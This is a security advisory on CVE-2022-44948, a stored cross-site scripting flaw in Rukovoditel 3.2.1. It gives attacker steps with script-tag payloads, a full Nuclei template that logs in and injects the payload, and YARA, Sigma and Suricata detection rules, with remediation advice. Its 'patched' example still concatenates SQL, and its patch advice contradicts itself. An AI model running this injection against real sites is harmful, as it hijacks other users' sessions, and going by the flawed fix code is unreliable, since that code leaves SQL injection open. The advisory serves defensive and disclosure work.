CVE-2022-44948

Executive Summary

CVE-2022-44948 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel version 3.2.1. The flaw resides in the Entities Group feature, accessible via /index.php?module=entities/entities_groups. An authenticated attacker can inject arbitrary web scripts or HTML into the Name field, which is then stored and executed in the browsers of other users viewing the affected page. This can lead to data theft, session hijacking, or application defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) and is confirmed with a public proof-of-concept (PoC) and a Nuclei template.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Rukovoditel web application, which is a self-hosted PHP project management tool. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the malicious entity group
• Scope: Changed (S:C) – impact may affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can be leveraged for session hijacking or phishing attacks against other users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the entities_groups module. When an authenticated user creates a new entity group via the "Add" button, the Name field is not properly sanitized. The application stores the user-supplied payload directly into the database and later renders it without encoding or escaping. This allows an attacker to inject JavaScript or HTML that executes in the context of any user who views the entity groups list.

The attack flow:

1. Attacker logs into Rukovoditel with valid credentials.
2. Navigates to /index.php?module=entities/entities_groups.
3. Clicks "Add" and enters a malicious payload in the Name field (e.g., <script>alert(document.domain)</script>).
4. The payload is stored and executed when other users (including administrators) view the entity groups page.

The vulnerability is confirmed by the Nuclei template, which demonstrates the injection and retrieval of the payload.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel <= 3.2.1): The Name field is directly inserted into the database and rendered without sanitization. Example of vulnerable PHP code (conceptual):

$name = $_POST['name'];
$sql = "INSERT INTO entities_groups (name) VALUES ('$name')";
// No escaping or validation

Patched Code (Hypothetical fix): The application should use output encoding (e.g., htmlspecialchars()) and input validation. Example:

$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO entities_groups (name) VALUES ('$name')";
// Additionally, use prepared statements to prevent SQL injection

No official patch has been released; users are advised to upgrade to a version higher than 3.2.1 or apply manual input sanitization.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid credentials for Rukovoditel (any user role with access to entity groups).
• Network access to the target application.

Exploitation Steps:

1. Log in to Rukovoditel.
2. Navigate to /index.php?module=entities/entities_groups.
3. Click "Add" and inject the following payload in the Name field:

   <script>alert(document.cookie)</script>
   

4. Submit the form. The payload is stored.
5. Any user viewing the entity groups list will trigger the script.

Nuclei Template Usage: The provided Nuclei template automates the exploitation. Run it with:

nuclei -t CVE-2022-44948.yaml -u http://target.com -v

The template logs in, extracts the CSRF token, and injects the payload. It then verifies the stored XSS by checking for the injected script in the response.

Blue Team (Defender)

Detection Steps:

• Monitor HTTP POST requests to /index.php?module=entities/entities_groups&action=save for suspicious payloads in the name parameter.
• Look for encoded or obfuscated JavaScript in the name field (e.g., <script>, <img onerror=, etc.).
• Review server logs for unusual user-agent strings or repeated failed login attempts (though this attack requires valid credentials).

Hunting Queries:

• Search for name parameter values containing <script or onerror in web server logs.
• Use the YARA rule below to scan for stored payloads in the database.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST request to /index.php?module=entities/entities_groups&action=save with a name parameter containing script tags.
  • Response containing the injected script in the entity groups list page.

• File IOCs:

  • Database entries in the entities_groups table with name fields containing HTML/JavaScript.

• Behavioral IOCs:

  • Unusual JavaScript execution in the context of the Rukovoditel application.
  • Unexpected redirects or cookie theft attempts.

Detection Engineering

YARA Rule

rule CVE_2022_44948_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel entity groups"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-44948"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: CVE-2022-44948 Stored XSS in Rukovoditel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel entity groups
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=entities/entities_groups&action=save'
        cs-uri-query|contains: 'name='
    condition: selection
falsepositives:
    - Legitimate use of HTML in entity group names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-44948 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=entities/entities_groups&action=save"; http_uri; content:"name="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2022-44948

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Entities Group feature at/index.php?module=entities/entities_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/8
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44948
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44948
    cwe-id: CWE-79
    epss-score: 0.01722
    epss-percentile: 0.82485
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,xss,stored-xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/entities_groups&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a00473045022027b75e7f56908fa206cb07bbe721a7c3ad1cf066b0a20ff1f9b57acc96a5fdf902210096a9af437edfedbf51a69fe7ed840948fc59b8cdb4a56f4469b8220089fc23c6:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Rukovoditel to a version higher than 3.2.1. If no newer version is available, apply input sanitization manually.
2. Implement Web Application Firewall (WAF) rules to block requests containing <script> or onerror in the name parameter.
3. Restrict access to the entity groups feature to trusted users only.

Long-Term Fixes:

• Use output encoding (e.g., htmlspecialchars()) for all user-supplied data.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and penetration testing.

Patch Details: No official patch is available. The vendor has not released a fix. Users should monitor the Rukovoditel website for updates or consider migrating to an alternative solution.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 5660A644617392D31B73DD80] */}